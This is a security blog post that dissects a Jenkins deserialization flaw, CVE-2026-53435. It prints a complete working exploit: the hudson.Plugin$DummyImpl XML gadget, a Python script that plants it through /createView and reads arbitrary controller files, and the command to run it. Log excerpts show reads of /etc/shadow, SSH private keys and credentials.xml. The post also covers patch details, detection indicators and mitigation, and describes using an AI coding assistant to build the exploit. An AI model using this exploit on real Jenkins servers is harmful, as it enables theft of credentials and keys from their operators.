Spent a Friday night turning a vague security advisory into a working file-read exploit. By Saturday morning, someone else had already taken the same bug live. Here’s what’s happening, how the chain actually works, and what you need to do about it.
Background: The Bug in Plain Terms
Jenkins has a deserialization problem. Not the obvious kind – the “let me drop a Commons-Collections gadget chain and get a shell” kind but something subtler and in some ways more dangerous because it survives the filter that’s supposed to prevent exactly this.
The advisory (SECURITY-3707, CVE-2026-53435, published 2026-06-10) describes it in one dense sentence: an attacker who can POST a config.xml can make Jenkins deserialize an arbitrary type from its own core or plugin namespace, and then reach that object over HTTP afterward. The impact list the advisory gives is: user impersonation, Script Console access (which is Groovy RCE), and arbitrary file read from the controller.
If you’re running Jenkins weekly ≤ 2.567 or LTS ≤ 2.555.2 and haven’t patched, stop reading and go fix that. Then come back.
How Jenkins Actually Protects Deserialization (And Why It Wasn’t Enough)

Jenkins doesn’t just deserialize raw Java. After years of gadget chain exploits, it implemented JEP-200 which is a custom ClassFilter that restricts deserialization to types defined in Jenkins core or installed plugins. The idea is sound: even if an attacker can inject a malicious serialized blob, they can’t use org.apache.commons.collections.Transformer or any of the usual suspects because the filter kills those before they load.
What JEP-200 doesn’t account for is that Jenkins core and plugins themselves contain plenty of types with interesting behavior in their readResolve methods, or types that Stapler can route HTTP requests to. The filter only checks where a class lives. It says nothing about what that class does once it’s been instantiated.
That distinction is the whole vulnerability.
On top of this, Jenkins uses the Stapler web framework for HTTP routing. Stapler is reflective: it looks at incoming URL path segments and maps them to fields or methods on objects in the request context, using naming conventions. Since 2018, Stapler has been restricted to only traverse types defined in Jenkins core or plugins, and it only accesses things decorated with the right annotations or return types. Again, correct in principle. But it still routes to whatever ends up in those objects.
So the two protections – ClassFilter at deserialization time, Stapler restrictions at routing time were individually well-designed, but the gap between them is that nobody checked whether an attacker could plant a weird type into an expected container, survive ClassFilter because the type is from core, and then have Stapler route requests into it.
That’s exactly what CVE-2026-53435 exploits.
The Attack Path, Step by Step
What the Attacker Needs
The prerequisites are low but not zero. The attacker needs:
- A Jenkins account (can’t be anonymous)
Overall/Readpermission- At least one of:
View/Configure,Item/Configure, orAgent/Configure
In most real Jenkins deployments, especially self-hosted CI setups, “has an account” describes basically every engineer on the team. View/Configure is routinely handed out. This is not a theoretical high-privilege scenario.
POST a Malicious config.xml
Jenkins lets you configure views, jobs, and agents via XML. You POST to something like /createView?name=myview with an XML body, and Jenkins deserializes it using XStream.
A ListView config looks like this normally:
<hudson.model.ListView> <name>myview</name> <properties/> <jobNames class="tree-set"> <comparator class="hudson.util.CaseInsensitiveComparator"/> </jobNames> <jobFilters/> <columns/> <recurse>false</recurse></hudson.model.ListView>
The <properties> field is a DescribableList<ViewProperty>. Pre-patch, XStream and the surrounding deserialization machinery don’t enforce that the elements of this list actually are ViewProperty instances. So an attacker can plant anything in there that passes ClassFilter meaning anything from Jenkins core or a plugin.
The Gadget – hudson.Plugin$DummyImpl
The planted type in the PoC is hudson.Plugin$DummyImpl. This is a class inside Jenkins core (so it clears ClassFilter with no issues). It has a field called baseResourceURL, and critically, it inherits doDynamic from hudson.Plugin.
doDynamic is a Stapler-callable method. When Stapler routes an HTTP request to it and receives a path remainder, it serves that path as a static resource relative to baseResourceURL.
If baseResourceURL is set to file:/, then doDynamic will serve any file on the controller’s filesystem.
The malicious XML:
<properties> <hudson.Plugin_-DummyImpl> <wrapper class="hudson.PluginWrapper"> <baseResourceURL>file:/</baseResourceURL> </wrapper> </hudson.Plugin_-DummyImpl></properties>
XStream deserializes this. hudson.Plugin$DummyImpl passes ClassFilter. It ends up in the properties list at index 0. Jenkins writes this to disk as-is (more on that in a moment).
Route HTTP to the Gadget via Stapler
Once the gadget is planted, the attacker makes a GET request:
GET /view/myview/properties/0/etc/passwd
Stapler parses this: navigate to view myview, navigate to its properties, index 0 (the planted DummyImpl), then call doDynamic with the rest of the path (etc/passwd). doDynamic resolves file:/etc/passwd and serves it.
Result: the controller returns the contents of /etc/passwd in the HTTP response body.
Here’s the exploit script, condensed:
import sys, requestsfrom requests.auth import HTTPBasicAuthGADGET = ( '<hudson.Plugin_-DummyImpl>' '<wrapper class="hudson.PluginWrapper">' '<baseResourceURL>file:/</baseResourceURL>' '</wrapper>' '</hudson.Plugin_-DummyImpl>')def view_xml(name): return ( f"<?xml version='1.1' encoding='UTF-8'?>" f"<hudson.model.ListView><name>{name}</name>" f"<properties>{GADGET}</properties>" f'<jobNames class="tree-set">' f'<comparator class="hudson.util.CaseInsensitiveComparator"/>' f"</jobNames>" f"<jobFilters/><columns/><recurse>false</recurse>" f"</hudson.model.ListView>" )base, user, pw, remote = sys.argv[1:5]name = sys.argv[5] if len(sys.argv) > 5 else "cve53435"s = requests.Session()s.auth = HTTPBasicAuth(user, pw)s.verify = FalseH = {"Content-Type": "application/xml"}try: c = s.get(base + "/crumbIssuer/api/json", timeout=15).json() H[c["crumbRequestField"]] = c["crumb"]except Exception: pass # CSRF crumb not required on all instances# Plant the gadgets.post(base + f"/createView?name={name}", data=view_xml(name).encode(), headers=H, timeout=20)# Read the filepath = remote.lstrip('/')r = s.get(base + f"/view/{name}/properties/0/{path}", timeout=20)print(r.text)
Run it:
python3 exploit.py http://jenkins.internal:8080 lowpriv password /etc/passwd

The Second Vuln That Makes It Worse: SECURITY-3744
While researching this, I noticed something that compounded the picture. SECURITY-3744 (CVE-2026-53442) is a separate Medium-severity finding in the same advisory, but it interacts badly with SECURITY-3707.
The issue: when Jenkins receives a POST config.xml submission, it writes the XML to disk as-is if deserialization succeeds. Then when you GET config.xml back, it serves those raw files. Pre-patch, this means that if you POST a config containing plaintext secrets (API keys, credentials referenced inline), they stay in that raw file and come back in the GET response – visible to anyone with Item/Extended Read.
How does this touch CVE-2026-53435? Because the malicious config.xml with the planted gadget also gets written to disk as-is. There’s no sanitization pass before persistence. The gadget survives on disk ready to be triggered any time someone hits the view’s properties endpoint until the view is deleted or the instance is upgraded.
The patch for 3744 changes the flow: Jenkins now fully deserializes and then re-serializes the config before writing it to disk. This is what strips the unexpected types in the patched version.
Verifying It: Vulnerable vs. Patched
I ran this against two identical Docker containers – one at 2.555.2 (vulnerable), one at 2.555.3 (patched) to make sure the PoC exercises the actual mechanism and not some unrelated file-read primitive.
| Step | 2.555.2 (vulnerable) | 2.555.3 (patched) |
|---|---|---|
createView POST | HTTP 200 | HTTP 200 |
DummyImpl in stored XML | Present – <hudson.Plugin_-DummyImpl/> survives | Absent – <properties/> stripped |
GET /view/.../properties/0/etc/passwd | Returns file contents | Empty – blocked |
On the patched build, the POST succeeds but the fix rejects the planted type at deserialization time. The properties list is empty when it gets serialized back to disk, so there’s nothing for Stapler to route to. The exploit chain breaks at step 2.
The Rest of the June 10 Advisory
CVE-2026-53435 got the attention, but the advisory also covers five other issues worth knowing about because some of them chain nicely with the main bug or are independently dangerous:
CVE-2026-53436 and CVE-2026-53437 (open redirect, SECURITY-3711+3755, Medium): The login flow doesn’t properly validate redirect targets. One variant: a URL with ./ or ../ path segments passes validation but collapses into a //attacker.com-style redirect that browsers treat as scheme-relative. The other: tab or newline characters between // bypass the double-slash check. Fixed in 2.568/2.555.3 by stripping those characters before validation and rejecting any URL containing // anywhere.
CVE-2026-53438 (missing permission check, SECURITY-3712, Medium): Attackers with Item/Cancel but lacking Item/Read can cancel queue items they shouldn’t be able to see. The advisory notes this is an incomplete fix from a 2021 advisory. So, this is a bypass of an existing patch. These are always annoying because the old advisory gave people false confidence.
CVE-2026-53439 (user info leak, SECURITY-3713, Medium): With Overall/Read, you can determine other users’ configured timezone and enumerate their “My Views” names. Minor, but useful for recon on a target instance.
CVE-2026-53441 (stored XSS, SECURITY-3731, High): Since Jenkins 2.483, offline cause descriptions for nodes are rendered as HTML. If an attacker with Agent/Configure can POST a config.xml with a malicious offline cause, it executes in the browser of any admin who views that agent’s status page. Also noted as an incomplete fix of a February 2026 advisory – the pattern of “we fixed it for the UI but not the API” keeps repeating.
Active Exploitation
By Saturday June 14, I was already seeing reports of in-the-wild attempts hitting honeypots – less than four days after the advisory dropped and two days after the first public PoC (the one in this post). That’s a fast turnaround. The bar here is low: the prerequisites are minimal, the chain doesn’t require any external tooling, and the POST endpoint that accepts the malicious XML is a standard Jenkins feature.
What the exploitation looks like in logs:
POST /createView?name=[random_name] HTTP/1.1Content-Type: application/xml...[body contains hudson.Plugin_-DummyImpl with baseResourceURL=file:/]GET /view/[random_name]/properties/0/etc/passwd HTTP/1.1GET /view/[random_name]/properties/0/etc/shadow HTTP/1.1 GET /view/[random_name]/properties/0/var/lib/jenkins/.ssh/id_rsa HTTP/1.1
The typical sequence after /etc/passwd is to go straight for SSH keys, then credentials files, then Jenkins’ own credentials.xml under the Jenkins home directory.
What the Patch Does
The fix is in how Jenkins handles deserialization of config.xml submissions. Pre-patch: deserialize the XML, check ClassFilter at the type level, write to disk, done. Post-patch: deserialize, check ClassFilter, then serialize the loaded object back to disk rather than writing the raw XML. On that round-trip, unexpected types in DescribableLists get dropped because the serializer only emits types that actually belong in that container’s declared type parameter.
This is the same mechanism that fixes SECURITY-3744 – the round-trip through actual object serialization means that both unexpected gadget types and plaintext secrets get stripped before they hit disk.
For the Stapler side, the fix also adds stricter type checks before routing requests into deserialized objects, so even if something weird somehow ended up in a properties list, Stapler wouldn’t route to it.
What to Do
Patch immediately. Jenkins weekly to 2.568, LTS to 2.555.3. Both were available on June 10. If you’re still on 2.555.2, the exploit is trivially weaponizable by anyone with a login.
Check your logs for indicators. Look for POST /createView requests with XML bodies containing DummyImpl or baseResourceURL. Then look for GET requests to /view/*/properties/0/* paths. These two together in sequence from the same source are a strong indicator of exploitation.
Audit who has View/Configure. The exploit needs this permission. Most Jenkins setups are generous with it. On a compromised-assumptions model, treat “has an account + has View/Configure” as an attacker-equivalent principal and scope your blast radius accordingly.
Enforce Content Security Policy. The advisory notes that on Jenkins 2.539+, CSP enforcement mitigates the stored XSS (CVE-2026-53441). If you’re not enforcing CSP, do it – it’s a free mitigation for a whole class of issues.
If you can’t patch immediately: you can try disabling unauthenticated access and tightening permissions, but there’s no clean workaround for this one. The vulnerable endpoint is core functionality. Patch is the answer.
On Building the PoC
The researcher took about 8.5 hours on a Friday night, starting from nothing but the advisory text. Most of it wasn’t writing the exploit – it was the analysis.
The advisory tells you a deserialization sink exists and that it connects to Stapler routing. What it doesn’t tell you is which type to use as the gadget, which container holds the deserialization path, or whether the type you pick will actually reach a useful Stapler endpoint. That work is still manual. I tried plugin types before landing on a core type. I went through actions before the view properties vector. Most of the time wasn’t spent typing code.
What I’ll say about using Claude Code (Opus 4.8) for this: the AI was useful for code generation, for quickly cross-referencing Jenkins source, and for iterating on XML structure. It was not useful for knowing that the DescribableList<ViewProperty> doesn’t enforce its type parameter pre-patch, I had to know to look there. It didn’t know that doDynamic existed or what it did. It hallucinated a few gadget type names confidently. The filtering work, the gadget selection, and the differential verification were mine.
That’s the honest version of “AI-assisted research.” The researcher’s value moved from writing boilerplate to steering, pruning, and verifying. The domain knowledge didn’t go anywhere.
Original Author of the PoC – AmesianX
This post first appeared at - The CyberSec Guru
